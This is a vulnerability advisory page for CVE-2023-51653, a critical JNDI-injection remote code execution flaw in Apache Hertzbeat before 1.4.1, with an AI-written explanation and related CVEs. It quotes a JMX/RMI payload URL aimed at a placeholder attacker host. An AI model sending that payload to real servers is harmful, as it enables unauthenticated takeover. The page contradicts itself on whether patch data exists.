CRITICAL🇵🇱 Wersja polska

CVE-2023-51653

CVSS 9.8v3.1pub. 2024-02-22upd. 2025-01-16

Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.

🤖 AI Analysis
How it works

The vulnerability exists in the `JmxCollectImpl.java` class, in the `JMXConnectorFactory.connect` call, which does not validate the passed URL. The `/api/monitor/detect` endpoint accepts a URL field and if the value takes the form `service:jmx:rmi:///jndi/rmi://[host]:1099/[resource]`, it is passed directly to the JNDI mechanism. An attacker can point to a malicious RMI server under their control, resulting in loading and execution of arbitrary code on the server side.

Impact

An unauthenticated remote attacker can gain full control over the server — read sensitive data, modify or destroy data, and destabilize system operation (full triad: confidentiality, integrity, availability).

Mitigation & patch

Apache Hertzbeat should be updated to version 1.4.1, which contains a fix for this issue. Details are available in the vendor's repository (commit f794b0d82be49c596c04a042976446559eb315ef).

Who is affected

Apache Hertzbeat in versions prior to 1.4.1

Analysis generated by Claude AI (Anthropic) based on NVD data. Always verify with vendor.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Apache Hertzbeat

    APP
    Apache
    < 1.4.1
🔵
CHECK WITH VENDOR
No clear patch data available. Check vendor references.
Tags
RCE
CWE
References

Related vulnerabilities

CVE-2023-51389CRITICAL9.8PL ✓ten sam produkt

Apache Hertzbeat — YAML deserialization w endpoincie /define/yml

CVE-2023-51388CRITICAL9.8PL ✓ten sam produkt

Apache Hertzbeat — script injection via AviatorEvaluator (RCE)

CVE-2026-24343HIGH8.8ten sam produkt

Improper Neutralization of Data within XPath Expressions ('XPath Injection') vulnerability in Apache HertzBeat...

CVE-2025-24404HIGH8.8ten sam produkt

XML Injection RCE by parse http sitemap xml response vulnerability in Apache HertzBeat. The attack...

CVE-2025-48208HIGH8.8ten sam produkt

Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') vulnerability in Apache H...